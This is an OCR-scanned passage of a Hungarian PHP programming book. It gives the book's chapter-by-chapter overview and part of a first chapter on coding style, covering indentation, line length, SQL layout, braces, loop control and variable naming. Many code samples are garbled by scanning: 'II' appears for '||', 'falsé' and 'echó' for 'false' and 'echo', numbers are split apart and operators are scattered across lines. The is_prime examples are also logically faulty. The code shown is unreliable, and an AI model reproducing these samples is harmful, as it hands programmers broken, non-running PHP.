A kötet öt, többé-kevésbé önálló részre oszlik. Bár úgy szerkesztettük meg, hogy az érdeklődő könnyen előreugorhasson egy adott fejezethez, a könyvet javasolt elejétől a végéig elolvasni, mert számos példát fokozatosan építünk fel. A könyv szerkezete a tanulás természetes folyamatához igazodik. Először azt tárgyaljuk, hogyan kell helyes PHP kódot írni, majd rátérünk az egyes módszerekre, azután a teljesítmény fokozására, végül a nyelv bővítésére. A felépítés azon alapul, hogy hisszük, egy profi programozó legfontosabb felelőssége, hogy „karbantartható" kódot írjon, és hogy könnyebb egy jól megírt kódot gyors futásúvá tenni, mint egy gyors, de silány kódot feljavítani.

I. rész Megvalósítási és fejlesztési módszerek
1. fejezet (Kódolási stílusok)

Az első fejezet a kötetben használt kódolási szokásokat mutatja be, és ezek köré egy kódolási stílust épít, valamint rávilágít a következetes, jól dokumentált kód fontosságára.
2. fejezet (Objektumközpontú programozás tervezési minták segítségével)

A második fejezet a PHP 5 objektumközpontú (objektum-orientált, OOP) programozást támogató szolgáltatásait részletezi, és az ilyen irányú képességeket általános tervezési minták környezetében mutatja be. Azzal, hogy teljes áttekintést nyújt mind a PHP 5-ben megjelent új OOP szolgáltatásokról, mind az OOP megközelítés mögött megbúvó elvekről, a fejezet hasznos lehet az OOP programozással ismerkedők és a tapasztalt programozók számára is.
3. fejezet (Hibakezelés)

Hibázni emberi dolog. A harmadik fejezet a PHP eljárásközpontú (procedurális) és OOP hibakezelő eljárásait tárgyalja, különös tekintettel a PHP 5 új, kivétel alapú hibakezelési képességeire.

xxviii

PHP fejlesztés felsőfokon

4. fejezet (Megvalósítás PHP nyelven: a sablonok és a Világháló)

A negyedik fejezet a sablonrendszereket tekinti át, vagyis az olyan elemkészleteket, amelyek a megjelenítés és a programkód kettéválasztását segítik. A fejezet összehasonlítja a teljes és az ad hoc jellegű sablonrendszerek előnyeit és hátrányait, az előbbire példaként a Smarty-t használva.
5. fejezet (Megvalósítás PHP nyelven: önálló programok)

Manapság csak igen kevés webalkalmazásnak nincs szüksége háttérösszetevőre. Az arra való képesség, hogy már létező PHP kód újrahasznosításával írjunk kötegelt feladatokat, héjprogramokat és nem webes feldolgozó rutinokat, létfontosságú a nyelv üzleti környezetben való hasznosításában. Az ötödik fejezet az önálló programok és démonok írásának alapjait taglalja.
6. fejezet (Egységtesztelés)

Az egységtesztelés annak egyik módszere, hogy ellenőrizzük, a kód megfelel-e arra a célra, amire létrehoztuk. A hatodik fejezetben megvizsgáljuk az egységtesztelési módszereket, és azt, hogy a PHPUnit segítségével hogyan készíthetünk rugalmas egységtesztelő csomagokat.
7. fejezet (A fejlesztőkömyezet kezelése)

A kód összehangolása a legtöbb fejlesztő számára nem a legizgalmasabb feladat, mindazonáltal igen fontos. A hetedik fejezet bemutatja, hogyan tarthatjuk kézben a kódot a nagy projektekben, és átfogó bevezetést nyújt a CVS (Concurrent Versioning System, változatkövető rendszer) használatába.
8. fejezet (Hogyan tervezzünk jó API-t?)

A nyolcadik fejezet útmutatást ad egy olyan kódtár létrehozásához, ami kezelhető, rugalmas és könnyen felhasználható különböző munkák során.

II. rész Gyorstárak
9. fejezet (Teljesítményfokozás külső módszerekkel)

A gyorstárak használata valószínűleg a teljesítmény fokozásának, illetve az alkalmazás méretezésének leghatékonyabb módja. A kilencedik fejezet a PHP-n kívüli tárolási módszereket vizsgálja, és a fordítói és helyettes (proxy) gyorstárakat tárgyalja.
10. fejezet (Adatösszetevők átmeneti tárolása)

A tizedik fejezet arra összpontosít, hogyan építhetünk tárolási módszereket magába a PHP kódba, illetve hogyan és mikor alkalmazzunk gyorstárakat egy alkalmazásban. Sor kerül egy működőképes tárolórendszer kifejlesztésére is, ami több háttértárat használ.

PHP fejlesztés felsőfokon

xxix

11. fejezet (Számítási újrahasznosítás)

A tizenegyedik fejezetben megnézzük, hogyan tehetjük az egyes algoritmusokat és folyamatokat hatékonyabbá a köztes adatok átmeneti tárolásával. Lefektetjük a számítási újrahasznosítás alapelveit, és azokat gyakorlati példákkal illusztráljuk.

III. rész Elosztott alkalmazások
12. fejezet (Adatbázisok használata)

Az adatbázisok szinte minden dinamikus webhelyen központi szerepet töltenek be. A tizenkettedik fejezet a PHP és az adatbázis-rendszerek közötti híd építésének hatékony módszereit mutatja be.
13. fejezet (A felhasználók hitelesítése és a munkamenetek biztonsága)

A tizenharmadik fejezet a felhasználók azonosításának kezelését, és az ügyfél-kiszolgáló kapcsolatok biztonságát veszi górcső alá. Többek között tárgyaljuk a titkosított munkameneti információk „sütikben" (cookie) való tárolását, és teljes egészében megvalósítunk egy egyszerű bejelentkezési rendszert is.
14. fejezet (Munkamenetek kezelése)

A tizennegyedik fejezet a PHP munkameneti bővítésének ismertetésével, illetve saját munkamenet-kezelők írásával folytatja a felhasználói munkamenetek tárgyalását.
15. fejezet (Elosztott környezet kiépítése)

A tizenötödik fejezet olyan méretezhető alkalmazások építését mutatja be, amelyek egyetlen gépnél többet igényelnek. Részletezzük a számítógépfürtök összeállítását és hatékony kezelését, valamint azt, hogy hogyan kezelhetjük hatékonyan az átmeneti tároló és adatbázisrendszereket.
16. fejezet (RPC: együttműködés távoli szolgáltatásokkal)

Az egyszerű webes gép-gép kommunikációt lehetővé tevő szolgáltatások kulcsszava manapság a webszolgáltatás. Ebben a fejezetben a két legelterjedtebb webszolgáltatási protokollt nézzük meg, az XML-RPC-t és a SOAP-ot.

IV. rész Teljesítmény
17. fejezet (Teljesítménymérés: teljes alkalmazások tesztelése)

Az alkalmazás teljesítményének mérése szükséges ahhoz, hogy meggyőződhessünk róla, elbírja azt a forgalmat, amelynek feldolgozására szánták, és hogy azonosíthassuk azokat az összetevőket, amelyek szűk keresztmetszetet jelenthetnek. A tizenhetedik fejezetben áttekintjük a különböző alkalmazásmérő (benchmark) programcsomagokat, amelyekkel egy alkalmazás teljesítménye és stabilitása megmérhető.

xxx

PHP fejlesztés felsőfokon

18. fejezet (Profilkészítés)

Miután azonosítottuk a fontosabb lehetséges szűk keresztmetszeteket egy alkalmazásban, profilkészítő eszközökkel elkülöníthetjük a problémás részeket a kódban. A tizennyolcadik fejezet a profilkészítés célját és módszereit ismerteti, majd megtanít az APD (Advanced PHP Debugger) használatára, amellyel megvizsgálhatjuk a kódot.
19. fejezet (Szintetikus mérés: kódblokkok és függvények értékelése)

Két kódrészletet lehetetlen összehasonlítani, ha különbségeik mennyiségi mérésére nincs mód. A tizenkilencedik fejezet áttekinti a teljesítménymérési módszereket, illetve az egyedi mérőprogramok megvalósítását és értékelését.

V. rész Bővíthetőség
20. fejezet (A PHP és a Zend Engine titkai)

Ha tudjuk, hogyan működik a PHP „a színfalak mögött", okosabb tervezési döntéseket hozhatunk, kihasználva a PHP erősségeit és megkerülve gyengéit. A huszadik fejezet a PHP belső működésének technikai részleteit tartalmazza, illetve azt, hogy hogyan kommunikálnak a webkiszolgálókhoz hasonló alkalmazások a PHP-vel, hogyan készít az értelmező a parancsfájlokból köztes kódot, és hogyan zajlik a program végrehajtása a Zend motorban.
21. fejezet (A PHP bővítése: I. rósz)

A huszonegyedik fejezet a C nyelvű PHP bővítmények írásába vezet be. Foglalkozik a meglevő PHP kódok C nyelvre való átültetésével, illetve azzal is, hogyan írhatunk olyan bővítményeket, amelyek lehetővé teszik, hogy a PHP hozzáférjen a mások által készített C könyvtárakhoz.
22. fejezet (A PHP bővítése: II. rész)

A huszonkettedik fejezet az előző témáját folytatja magasabb szinten; olyan témakörökkel, mint az osztályok létrehozása a bővítmények kódjában, illetve az adatfolyamok és a munkamenet-kezelési képességek használata.
23. fejezet (SAPI-k készítése és a Zend Engine bővítése)

A huszonharmadik fejezet a PHP alkalmazásokba ágyazásával foglalkozik, illetve a Zend Engine bővítésével, amelynek révén megváltoztathatjuk a nyelv alapviselkedését.

PHP fejlesztés felsőfokon

xxxi

Felületek és változatok
A kötet a PHP 5-re épül, de az anyag mintegy tíz százalékának kivételével nem kifejezetten csak a PHP 5-re vonatkozik. (Az említett tíz százalékba a 2. és 22. fejezetekben bemutatott új, objektumközpontú szolgáltatások, illetve a 16. fejezetben a SOAP tárgyalása tartozik.) Elveket és módszereket mutatunk be, hogy kódunk gyorsabb, okosabb és jobban tervezett legyen. Reményeink szerint legalább a könyv fele hasznosnak bizonyul abban, hogy bármilyen nyelven jobb kódot írjunk. Minden programot, ami a kötetben szerepel, Linuxon írtunk és teszteltünk, de módosítás nélkül futniuk kell Solaris, OS X, FreeBSD vagy bármely más Unix-klón rendszeren is. A programok legtöbbje minimális módosítással Windowson is futtatható, bár egyes segédeszközök (mégpedig az 5. fejezetben bemutatandó pcntl függvények) esetleg nem ültethetők át teljesen.

Megvalósítási és fejlesztési módszerek

1
Kódolási stílusok
„Minden legyen olyan egyszerű, amennyire csak lehet, de semmivel sem egyszerűbb." Albert Einstein (1879-1955) „Keresd az egyszerűséget, de ne bízz benne." Alfréd North Whitehead (1861-1947) Nem számít, milyen szintű tudással rendelkezünk a PHP-t illetően, nem számít, mennyire ismerjük a nyelvet, annak szabályait és különböző szolgáltatásait, attól még írhatunk silány vagy zavaros kódot. A nehezen olvasható kód pedig nehezen karbantartható, és kínszenvedés benne a hibakeresés. A szegényes kódolási stílus a szakértelem hiányát mutatja. Ha pillanatnyi munkánk életünk végéig tartana és soha nem kellene másnak a kódhoz nyúlnia, akkor sem lenne elfogadható, hogy olyan kódot írjunk, ami rosszul szerkesztett. Nekem is nehézséget okoz a két-három éve általam írt könyvtárak bővítése és azokban a hibák keresése, még akkor is, ha a stílus tiszta. Ha pedig olyan kódra bukkanok, amit rossz stílusban írtam meg, gyakran éppoly sokáig tart kibogoznom annak logikáját, mintha újra megírnám a semmiből. A helyzetet bonyolítja, hogy egy programozó sem „légüres térben" dolgozik: programjainkat jelenlegi és jövőbeli kollégáinknak kell majd karbantartaniuk. Két, önmagában megfelelő stílus keveréke viszont ugyanúgy olvashatatlan és karbantarthatatlan kódot eredményezhet, mintha semmilyen stílust nem követnénk, ezért nem csak az a fontos, hogy megfelelő stílusban programozzunk, hanem az is, hogy az együtt dolgozó fejlesztők következetesen ragaszkodjanak egy közös stílushoz.

4

PHP fejlesztés felsőfokon

Megtörtént, hogy örököltem egy megközelítőleg 200 000 sorból álló kódtárat, amit három fejlesztőcsapat dolgozott ki. Volt, amikor szerencsém volt, és egy include legalább fájlon belül következetesnek bizonyult - de gyakran megesett, hogy egyetlen fájlban három különböző stílus képviselte magát.

A megfelelő stílus kiválasztása
A kódolási stílus kiválasztását nem szabad elhamarkodnunk. A kód, amit írunk, „túlél" minket, és az idők során egy stílusváltás több gondot okozhat, mint amennyi nyereséget hoz. Egy olyan kód, amit minden új fejlesztő új stílusban ír, gyorsan kezelhetetlen masszává változhat. Amellett, hogy fontos képesnek lennünk egy induló munka stílusának kiválasztására, meg kell tanulnunk alkalmazkodnunk más szabványokhoz is. Nincs tökéletes szabvány: a kódolási stílus leginkább személyes ízlésünktől függ. A „tökéletes stílus" kiválasztásánál sokkal többet ér, ha a kód stílusa mindenhol következetes - tehát ne siessünk megváltoztatni egy általunk véletlenül nem kedvelt, de egyébként következetes stílust.

A kód formázása és elrendezése
A kód formázása és elrendezése - amibe beletartozik a behúzás, a sorhossz meghatározása, a térközök használatának módja, vagy akár az SQL (Structured Query Language, strukturált lekérdezőnyelv) parancsok írási módja - a legfontosabb eszköz, amivel kifejezhetjük a kód logikai szerkezetét.

Behúzás
Ebben a könyvben a kód szerkezetét és a kódblokkokat behúzással jelöljük. A kódszervezés eszközeként alkalmazott behúzások jelentőségét nem lehet eléggé hangsúlyozni. Számos programozó olyannyira fontosnak tartja, hogy a Python programozási nyelv például nyelvtani szabályként tartalmazza: a helytelen behúzásokat tartalmazó Python kód le sem fordítható! Bár a behúzás a PHP-ben nem kötelező, olyan erőteljes vizuális szervezőeszköz, amit célszerű következetesen felhasználnunk programjainkban. Vegyük például az alábbi kódot:
if($month = = 'september' II $month == II $month == 'november') { return 3 0;
}

'april'

II

$month

==

'june'

else if($month == 'february') { if((($year % 4 == 0) && !($year % 100)) II ($year % 400 ==0)) { return 2 9; }

1. fejezet * Kódolási stílusok

5

else { return 28; } } else { return 31; }

Vessük össze a kódot a következő változattal, ami a behúzásoktól eltekintve teljesen megegyezik vele:
if ($month == 'september' $month == 'april' $month == 'june' $month == 'november') { return 3 0;
}

|| || ||

else if($month == 'february') { i f( ( ( $ y e ar % 4 == 0) && ($year % 1 0 0 )) II ($year % 400 ==0)) { return 29; } else { return 28; } } else { return 31; }

A második változatban könnyebb áttekinteni a vezérlési logikát, mint az elsőben. Amikor a behúzásra tabulátorokat használunk, el kell döntenünk, hogy kemény vagy lágy tabulátorokat alkalmazunk, és ehhez következetesen ragaszkodnunk kell a kódban. A szokványos tabulátorok kemény tabulátorok. A lágy tabulátárok viszont tulajdonképpen nem is tabulátorok: ekkor adott számú normál szóközt használunk. A lágy tabulátorok előnye, hogy mindig ugyanúgy jelennek meg, függetlenül a szerkesztő tabulátorbeállításaitól. (A szerző a lágy tabulátorokat részesíti előnyben.) Segítségükkel könnyen fenntartható a következetes behúzás, illetve térköz-használat a kód egészében. Amennyiben kemény tabulátorokat alkalmazunk - különösen ha több fejlesztő különféle szerkesztőprogramokkal dolgozik az adott munkán -, könnyen előfordulhat, hogy a behúzási szintek összekeverednek. Pillantsunk az 1.1 és 1.2 ábrákra. Mindkettő pontosan ugyanazt a kódot mutatja, csakhogy az egyik zavaros, míg a másik tisztán olvasható.

6

PHP fejlesztés felsőfokon

1.1 ábra Helyesen behúzott kód.

1.2 ábra Az 1.1 ábrán látott kód, egy más beállításokat tartalmazó szerkesztőben. A használni kívánt tabulátorszélességet is előre ki kell választanunk. Négy szóköz már általában jól olvasható kódot eredményez, miközben megfelelő mennyiségű beágyazási szintet biztosít. A könyvoldalak viszont némileg kevesebb teret adnak, mint a terminálablakok, ezért a kötet minden kódjában két szóközt alkalmaztunk tabulátorszélességként.

1. fejezet • Kódolási stílusok

7

Számos szerkesztőprogram támogatja a forráskódban elhelyezett „mágikus" megjegyzéseken alapuló automatikus formázásészlelést. A vim-ben például az alábbi megjegyzés önműködően lágy tabulátorok használatára állítja a szerkesztőt (expandtab kapcsoló), a szélességet pedig négy szóközben szabja meg (tabstop és sof ttabstop kapcsolók): // vim: expandtab softtabstop=2 tabstop=2 shiftwidth=2 Emellett a vim : retab parancsa minden kemény tabulátort lágy tabulátorrá alakít a dokumentumban, így célszerű ezt alkalmaznunk, ha a tabulátorok használatáról át szeretnénk állni szóközökre. Az emacs-ben az alábbi megjegyzés hasonló eredménnyel jár: /*
* Local variables: * tab-width: 2 * c-basic-offset: 2 * indent-tabs-mode: nil * End: */

Számos nagy programban (közéjük tartozik maga a PHP nyelv is), ilyen típusú megjegyzéseket helyeznek el minden állomány alján; hogy a fejlesztők következetesen betartsák a projekt behúzási szabályait.

Sortiossz
A „hány nap van egy hónapban" függvény első sora meglehetősen hosszú, így nehezen látható át az értékellenőrzések sorrendje. Ilyen esetekben célszerű a hosszú sorokat több sorra tördelni, valahogy így: if($month == 'september' II $month == 'april' II $month == 'june' II $month == 'november') { return 3 0;
}

A második sor behúzásával jelezhetjük, hogy az az első folytatása. Ha a sor különösen hosszú, érdemes az egyes feltételeket külön sorba írni, mindet behúzni, és egymás alá igazítani: if ($month $month $month $month
{

== 'september' I I == 'april' II == 'june' II == 'november')

return 30;
}

8

PHP fejlesztés felsőfokon

A fenti módszer a függvények paramétereinél is ugyanolyan jól működik: mail("postmaster@example.foo", "My Subject", $message_body, "From: George Schlossnagle <george@omniti.com>\r\n"); Én általában minden 80 karakternél hosszabb sort több sorba írok, mert ez a szabványos Unix terminálablakok szélessége, és megfelel arra is, hogy a kódot olvashatóbb betűtípussal kinyomtassuk.

Térközök használata
A térközökkel a kód logikai szerkezetét tükrözhetjük; segítségükkel például hatékonyan csoportosíthatjuk az értékadásokat, és rávilágíthatunk az összefüggésekre. Az alábbi kód rosszul formázott és nehezen olvasható: $lt = localtimeO ; $name = $_GET [ ' name ' ] ; $email = $_GET['email']; $month = $lt['tm_mon'] + 1; $year = $lt['tm_year'] + 1900; $day = $lt['tm_day']; $address = $_GET['address']; A kódblokkot feljavíthatjuk, ha térközökkel logikailag csoportosítjuk a hasonló értékadásokat, és az egyenlőségjeleket egymás alá igazítjuk: $name = $_GET['name']; $email = $_GET['email']; $address = $_GET['address']; $lt $day $month $year = = = = localtime(); $lt['tm_day']; $lt['tm_mon'] + 1; $lt [ ' tm^ear ' ] + 1900;

SQL irányelvek
A fejezetben eddig lefektetett kódformázási és -elrendezési szabályok érvényesek mind a PHP, mind az SQL kódokra. Az adatbázisok a legtöbb mai webhely szerves részét képezik, így az SQL nélkülözhetetlen része a kódtáraknak. Az SQL lekérdezések azonban - főleg azokban az adatbázis-rendszerekben, amelyek támogatják az összetett allekérdezéseket - könnyen bonyolulttá és áttekinthetetlenné válhatnak, ezért a PHP-hez hasonlóan az SQL kódokban is használjunk bátran térközöket és sortörést.

1. fejezet • Kódolási stílusok

9

Vegyük például a következő lekérdezést: $query = "SELECT FirstName, LastName FROM employees, departments WHERE employees.dept_id = department.dept_id AND department.Name = 1Engineering'"; Ez egy egyszerű lekérdezés, de rosszul szerkesztett. Többféle módon is feljavíthatjuk: • nagybetűssé tehetjük a kulcsszavakat, • a kulcsszavaknál új sort kezdhetünk, • a táblamásodnevek (alias) használatával tisztábbá tehetjük a kódot. Lássunk egy példát a lekérdezés módosítására a fentiek szerint: $query = "SELECT firstname, lastname FROM employees e, departments d WHERE e.dept_id = d.dept_id AND d.name = 'Engineering'";

Vezérlési szerkezetek
A vezérlési szerkezetek olyan alapvető építőelemek, amelyeket szinte minden modern programozási nyelv tartalmaz. A vezérlési szerkezetek szabják meg, milyen sorrendben hajtja végre a program az utasításokat. Két fajtájuk létezik: a feltételes utasítások és a ciklusok. Azok az utasítások, amelyek csak akkor hajtódnak végre, ha egy adott feltétel teljesül, feltételes utasítások, míg a ciklusok ismétlődően végrehajtott utasítások. Az, hogy egy feltétel teljesülését vizsgálhatjuk, és az állítás igaz vagy hamis voltától függően hajthatunk végre műveleteket, lehetővé teszi, hogy a kódba döntési logikát építsünk be. A ciklusok arra adnak módot, hogy ugyanazt a logikát ismételjük, és így meghatározatlan adatokon végezzünk bonyolult feladatokat. Kapcsos zárójelek a vezérlési szerkezetekben A PHP nyelvtana nagy részét a C programozási nyelvtől vette át. A C-hez hasonlóan az egysoros feltételes utasítások a PHP-ben sem igényelnek kapcsos zárójeleket. Az alábbi kód például gond nélkül lefut:
if(isset($name)) echó "Hello $name";

10

PHP fejlesztés felsőfokon

Annak ellenére azonban, hogy ez működő kód, nem ajánlott a használata. Ha kihagyjuk a kapcsos zárójeleket, később nehéz lesz anélkül módosítani a kódot, hogy hibát ne vétenénk. Amennyiben például egy újabb sorral szeretnénk kiegészíteni a fenti utasítást, de nem figyelünk eléggé, ilyesmit írhatunk: if(isset($name)) echó "Hello $name"; $known_user = true; Ez egyáltalán nem azt eredményezi, amit szeretnénk. A $known_user értéke mindenképpen true lesz, pedig ezt csak akkor akarjuk, ha a $name változó létezik (isset). A keveredés elkerülése végett mindig használjunk kapcsos zárójeleket, még akkor is, ha csak egyetlen feltételes utasításunk van:
if (isset($name)) { echó "Hello $name"; } else { echó "Hello Stranger"; }

A kapcsos zárójelek következetes használata Igyekezzünk következetesen használni a kapcsos zárójeleket a feltételek után. Három elterjedt módszer közül választhatunk: • BSD stílus: a zárójeleket a feltételt követő sorba tesszük, és a kulcsszóhoz, a sor elejére igazítjuk: if ($feltétel)
{

// utasítás
}

• GNU stílus: a zárójelek itt is a feltételt követő sorba kerülnek, de félúton behúzva a kulcsszó és a feltétel közé: if ($feltétel)
{

// utasítás
}

• K&R stílus: a nyitó zárójel a kulcsszóval egy sorba kerül: if ($feltétel) { // utasítás
}

A K&R stílus neve Kernighan-re és Ritchie-re, A Cprogramozási nyelv című klasszikus szerzőire utal, akik könyvük kódjait e stílussal írták.

1. fejezet • Kódolási stílusok

11

A kapcsos zárójelek használati módja már-már vallásos színezetet ölt. A vita szenvedélyességét jelzi például, hogy a K&R stílusra időnként úgy hivatkoznak, mint ami „az egyeden igazi zárójelezési stílus". Pedig végsősoron mindegy, melyik stílus mellett döntünk; csak az számít, hogy meghozzuk a döntést és következetesen ragaszkodjunk hozzá. Nekem tetszik a K&R stílus tömörsége, kivéve amikor a feltétel több sorra törik, amikor is átláthatóbbnak találom a BSD stílust. Az utóbbit részesítem előnyben a függvények és osztályok bevezetésénél is, valahogy így: function hello($name)
{

echó "Hello $name\n";
}

Az, hogy a függvénydeklarációk zárójelei egészen kikerülnek a bal margóra, lehetővé teszi, hogy első pillantásra felismerjük őket. Mindazonáltal ha olyan munkához csatlakozom, aminek már kialakult stílusa van, igazodom hozzá, még ha magam másik stílust is részesítek előnyben. Hacsak az adott stílus nem kifejezetten rossz, a következetesség mindig fontosabb. for vagy while vagy foreach? Ahol elég egy for vagy foreach, ne használjunk while ciklust. Nézzük a következő kódot: function is_prime($number)
{

$i = 2; while($i < $number) { if ( ($number % $i ) == 0) {

return falsé;
} $i + +; }

return true;
}

Ez a ciklus nem túl hatékony. Gondoljunk bele, mi történik, ha az alábbihoz hasonló módon egy újabb vezérlési ággal bővítjük: function is_prime($number)
{

If ( ($number % 2) return true;
}

!= 0)

{

$i = 0; while($i < $number)

{

12

PHP fejlesztés felsőfokon

// Egyszerűen ellenőrizzük, hogy $i páros-e if( ($i & 1) == 0 ) { continue; } if ( ($number % $i ) == 0) { return falsé; }
$i++; }

return true; }

Ebben a példában először ellenőrizzük, hogy a szám osztható-e kettővel. Ha nem, már nincs szükség arra, hogy megnézzük, osztható-e bármilyen más páros számmal, hiszen minden páros szám közös osztója a 2. Itt véletlenül beavatkoztunk a növelő műveletbe, így végtelen ciklusba kerültünk. A véges számú ismétlődő műveletekhez természetesebb választás a f or ciklus, ahogy itt is: function is_prime($number)
{

if(($number % 2)
return true;

!= 0)

{

} for($i=0; $i < $number; $i++) { // Egyszerűen ellenőrizzük, hogy $i páros-e if( ($i & 1) == 0 ) { continue; } if ( ($number % $i ) = = 0 ) { return falsé; } } return true; }

Ha tömböket járunk be, a f or-nál még jobb, ha a f oreach ciklust használjuk. Lássunk erre is egy példát: $array = (3, 5, 10, 11, 99, 173); foreach($array as $number) { if(is_prime($number)) { print "$number is prime.Xn";
} }

Ez gyorsabb, mint egy f or ciklus, mert nincs benne kifejezett számláló.

1. fejezet • Kódolási stílusok Cikluson belüli vezérlés a break és a continue használatával

13

Amikor egy ciklust hajtunk végre, a break használatával ugorhatunk ki azokból a ciklusblokkokból, amelyek végrehajtására már nincs szükségünk. Vegyük a következő ciklust, ami egy beállítófájlt dolgoz fel:
$has_ended = 0 ; while(($line = fgets($fp)) !== falsé) { if($has_ended) { } else { if(strcmp($line, '_END_') == 0) { $has_ended = 1; } if(strncmp($line, '//', 2) == 0) { } else { // utasítás feldolgozása } } }

Szeretnénk figyelmen kívül hagyni azokat a sorokat, amelyek C++ stílusú megjegyzésekkel (vagyis / / jelzéssel) kezdődnek, a feldolgozást pedig teljesen be szeretnénk szüntetn: ha egy _END_ deklarációba ütközünk. Ha a cikluson belül nem használunk vezérlési szei kezeteket, kénytelenek leszünk egy kis állapotautomatát építeni. A csúnya beágyazott uta sításokat a continue és a break alkalmazásával kerülhetjük ki: while(($line = f g e t s ( $ f p ) ) != = falsé) if(strcmp($line, '_END_') == 0) { break;
}

{

if(strncmp($line, continue;
}

'//',

2) == 0)

{

// utasítás feldolgozása
}

Ez a változat nem csak rövidebb, mint a megelőző, hanem hiányoznak belőle a zavaró beágyazások is.

14

PHP fejlesztés felsőfokon A mélyen egymásba ágyazott feltételek elkerülése Programírás során gyakran követik el azt a hibát, hogy mélyen egymásba ágyazott feltételeket hoznak létre, amikor egy ciklus is elég lenne. íme egy jellemző kód, amiben szintén ez a hiba szerepel:
$fp = fopenC'file", "r"); if ($fp) { $line = fgets($fp); if($line !== falsé) { // a $line feldolgozása } else { die("Error: Filé is empty); }

else {
}

die("Error: Couldn't open f i l é " ) ;

Ebben a példában a kód törzse (ahol a $line változó feldolgozása történik) két behúzási szinttel beljebb kezdődik, ami egyrészt zavaró, másrészt a szükségesnél hosszabb sorokat eredményez, a hibakezelő feltételeket szétszórja a kódban, és megkönnyíti a zárójelezési hibák vetését. Sokkal egyszerűbb, ha az alábbihoz hasonló módon a hibakezelést (az esetleges kivételekkel együtt) teljes egészében a kód elejére helyezzük, és megszüntetjük a felesleges beágyazást:
$fp = fopenC'file", "r"); if (!$fp) { die("Error: Couldn't open filé"); } $line = fgets($fp); if($line === falsé) { die("Error: Filé is empty"); } // a $line feldolgozása

Névszimbólumok
A PHP szimbólumokkal rendeli az adatokat a változónevekhez. A szimbólumok adnak módot arra, hogy későbbi újrahasznosítás céljából nevet adhassunk az adatoknak. Minden alkalommal, amikor bevezetünk egy változót, létrehozunk számára egy bejegyzést az aktuális szimbólumtáblában, és az aktuális értékéhez kötjük. íme egy példa: $foo = 'bar'; Ebben az esetben a f oo számára hozunk létre egy bejegyzést az aktuális szimbólumtáblában, és hozzákapcsoljuk aktuális értékéhez, a bar-hoz. Amikor egy osztályt vagy függvényt határozunk meg, egy másik szimbólumtáblába szúrjuk be azt. Lássunk erre is egy példát:

1. fejezet • Kódolási stílusok

15

function hello($name) { print "Hello $name\n"; }

Itt a hello a függvények szimbólumtáblájába kerül és a lefordított kódhoz (optree) kapcsolódik. A 20. fejezetben megnézzük, hogyan zajlanak ezek a műveletek a PHP-ben, de most arra összpontosítunk, hogyan tehetjük a kódot olvashatóbbá és könnyebben karbantarthatóvá. A PHP kód változó- és függvénynevekkel van tele. A jó elrendezéshez hasonlóan az elnevezési szabályok is azt a célt szolgálják, hogy az olvasó számára világosabbá tegyék a program logikáját. A legtöbb nagy szoftverprojekt használ valamilyen elnevezési rendszert, ami biztosítja az egyes kódrészek egységességét. Az itt bemutatott szabályokat a PHP Extension and Application Repository (PEAR, PHP bővítmény- és alkalmazástár) irányelveiből vettük át. A PEAR olyan PHP programok és osztályok gyűjteménye, amelyeket arra terveztek, hogy általános igényeket kielégítő újrahasznosítható elemek legyenek. Mint a legnagyobb nyilvános PHP kódgyűjtemény, a PEAR egyfajta szabványt biztosít, amelyhez igazodhatunk. Az első szabály, amit meg kell jegyeznünk, a változónevekhez kapcsolódik: soha ne használjunk értelmetlen változóneveket. Számos könyvben és cikkben (beleértve a számítástudománnyal foglalkozó magas szintű szövegeket) találunk jelentéssel nem bíró, általánosító változóneveket, amelyek nem segítik a kód megértését. Vegyük például az alábbi kódot: function test($baz)
{

for($foo = 0; $foo < $baz; $foo++) $bar[$foo] = "test_$foo";
}

{

return $bar;
}

Ezt gond nélkül lecserélhetjük a következő kódra, amiben már beszédesebb neveket találunk, amelyek jobban rávilágítanak, mi is történik itt: function create_test_array($size)
{

fo r ( $ i = 0; $i < $size; $retval[$i] = "test_$i"; } return $retval;
}

$i++)

{

A PHP-ben minden osztály- vagy függvénytörzsön kívül meghatározott változó automatikusan globális változó lesz. A függvényen belül megadott változók csak az adott függvényen belülről láthatók, ha pedig azt szeretnénk, hogy egy globális változó egy függvényen belülről is elérhető legyen, a global kulcsszóval kell bevezetnünk. A változók lát-

16

PHP fejlesztés felsőfokon

hatóságára vonatkozó fenti megszorítások a hatóköri szabályok. Egy változó hatóköre az a kódblokk, amelyben a változó külön intézkedés nélkül elérhető. A hatóköri szabályok - amellett, hogy egyszerűek és elegánsak - feleslegessé teszik, hogy az elnevezés attól függjön, hogy egy adott változó globális-e. Az elnevezési szabály szempontjából a PHP változóit három csoportba oszthatjuk: • Valódi globális változók - olyan változók, amelyekre globális hatókörben szándékozunk hivatkozni. • Hosszú életű változók - olyan változók, amelyek bármilyen hatókörben létezhetnek, de több kódblokkban is hivatkozunk rájuk, illetve több kódblokk számára is fontos információt tárolnak. • Ideiglenes változók - kisebb kódrészekben használt változók, amelyek ideiglenes információt tárolnak.

Állandók és valódi globális változók
A valódi globális változókat és az állandókat csupa nagybetűvel célszerű írni, így azonnal láthatjuk rajtuk, hogy globális változók. íme egy példa:
$CACHE_PATH = '/var/cache/'; function list_cache() { global $CACHE_PATH; $dir = opendir($CACHE_PATH); while(($file = readdir($dir)) !== falsé && is_file{$file)) { $retval[] = $file; } closedir($dir);

return $retval;
}

A csupa nagybetű használata révén azt is rögtön kiszúrhatjuk, ha olyan változót próbálunk globálissá tenni, amit nem kellene. A globális változók alkalmazása mindazonáltal nagy hiba a PHP programokban. Használatuk általában a következő okok miatt nem célszerű: • Bárhol megváltoztathatók, így nehezebb azonosítani az esetleges hibák helyét. • „Beszennyezik" a globális névteret. Ha egy globális változónak olyan általános nevet adunk, mint például a $ számláló, és beépítünk egy könyvtárat, ami szintén tartalmaz egy ugyanilyen nevű globális változót, mindkettő akadályozni fogja a másikat. Ahogy a kódtár nő, egyre nehezebb lesz az ilyen ütközéseket elkerülni. A megoldás általában egy elérőfüggvény (accessor function) alkalmazása.

1. fejezet • Kódolási stílusok

17

Az alábbi kód globális változókat használ egy maradandó (perzisztens) adatbázis-kapcsolat valamennyi változójához:

global $database_handle; global $server; global $user; global $password; $database_handle = mysql_pconnect($server, $user, $password);
Ehelyett jobb, ha egy osztályt alkalmazunk:

class Mysql_Test { public $database_handle; priváté $server = 'localhost'; priváté $user = 'test1; priváté $password = ' t e s t ' ; public function _____ construct()
{

$this->database_handle = mysql_pconnect($this->server,
} }

$this->user,

$this->password);

A 2. fejezetben ismét elővesszük ezt a példát, és az egykék, illetve burkoló osztályok ismertetésénél még hatékonyabb megoldásokat mutatunk be. Máskor egy bizonyos változó elérésére lehet szükség: $US_STATES = array('Alabama', ... , 'Wyoming');

